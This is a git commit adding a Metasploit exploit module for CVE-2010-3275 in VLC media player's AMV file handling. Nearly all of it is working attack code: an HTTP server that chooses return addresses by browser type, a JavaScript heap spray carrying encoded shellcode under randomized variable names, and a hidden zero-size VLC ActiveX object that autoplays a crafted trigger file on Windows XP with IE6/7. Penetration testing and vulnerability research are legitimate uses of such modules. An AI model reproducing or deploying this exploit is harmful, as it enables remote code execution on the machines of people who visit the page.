Added CVE-2010-3275 (VLC AMV vulnerability)
git-svn-id: file:///home/svn/framework3/trunk@12137 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
bdccc67d1d
commit
08f210ac52
|
@ -0,0 +1,168 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "VLC AMV Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st
|
||||
byte in the file format, VLC crashes due to an invalid pointer, which allows remote
|
||||
attackers to gain arbitrary code execution.
|
||||
|
||||
The vulnerable packages include:
|
||||
VLC 1.1.4
|
||||
VLC 1.1.5
|
||||
VLC 1.1.6
|
||||
VLC 1.1.7
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', 'CVE-2010-3275'],
|
||||
['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'space' => 1000,
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],
|
||||
[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],
|
||||
],
|
||||
'DisclosureDate' => "Mar 23 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def get_trigger_file
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")
|
||||
f = File.open(path, "rb")
|
||||
data = f.read
|
||||
f.close
|
||||
return data
|
||||
end
|
||||
|
||||
def getRet(cli, request)
|
||||
|
||||
if target.name == 'Automatic'
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
|
||||
case agent
|
||||
when /MSIE 6\.0/
|
||||
return [0x0c0c0c0c].pack('V') * 8
|
||||
when /MSIE 7\.0/
|
||||
return [0x1c1c1c1c].pack('V') * 8
|
||||
when /^vlc/
|
||||
#VLC identifies itself as "VLC" when requesting our trigger file
|
||||
return ""
|
||||
when /^NSPlayer/
|
||||
#NSPlayer is also used while requesting the trigger file
|
||||
return ""
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
else
|
||||
|
||||
#User manually specified a target
|
||||
return [target.ret].pack('V') * 8
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
#Determine if client is a potential victim either manually or automatically,
|
||||
#and then return the appropriate EIP
|
||||
nops = getRet(cli, request)
|
||||
if nops == nil
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
if request.uri.match(/\.amv/)
|
||||
amv = get_trigger_file
|
||||
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
|
||||
send_response(cli, amv, { 'Content-Type' => 'text/plain' } )
|
||||
return
|
||||
end
|
||||
|
||||
nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
js_func_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_shell_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_index_name = rand_text_alpha(rand(6) + 3)
|
||||
trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv"
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
function #{js_func_name}() {
|
||||
var #{js_var_blocks_name} = new Array();
|
||||
var #{js_var_shell_name} = unescape("#{shellcode}");
|
||||
var #{js_var_nopsled_name} = unescape("#{nopsled}");
|
||||
do { #{js_var_nopsled_name} += #{js_var_nopsled_name} } while (#{js_var_nopsled_name}.length < 82000);
|
||||
for (#{js_var_index_name}=0; #{js_var_index_name} < 3500; #{js_var_index_name}++) {
|
||||
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_nopsled_name} + #{js_var_shell_name};
|
||||
}
|
||||
}
|
||||
#{js_func_name}();
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
|
||||
codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
|
||||
width="0" height="0"
|
||||
events="True">
|
||||
<param name="Src" value="#{trigger_file}"></param>
|
||||
<param name="ShowDisplay" value="False" ></param>
|
||||
<param name="AutoLoop" value="no"></param>
|
||||
<param name="AutoPlay" value="yes"></param>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
#Remove extra tabs in HTML
|
||||
html = html.gsub(/^\t\t/, "")
|
||||
|
||||
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response( cli, html, {'Content-Type' => 'text/html'} )
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue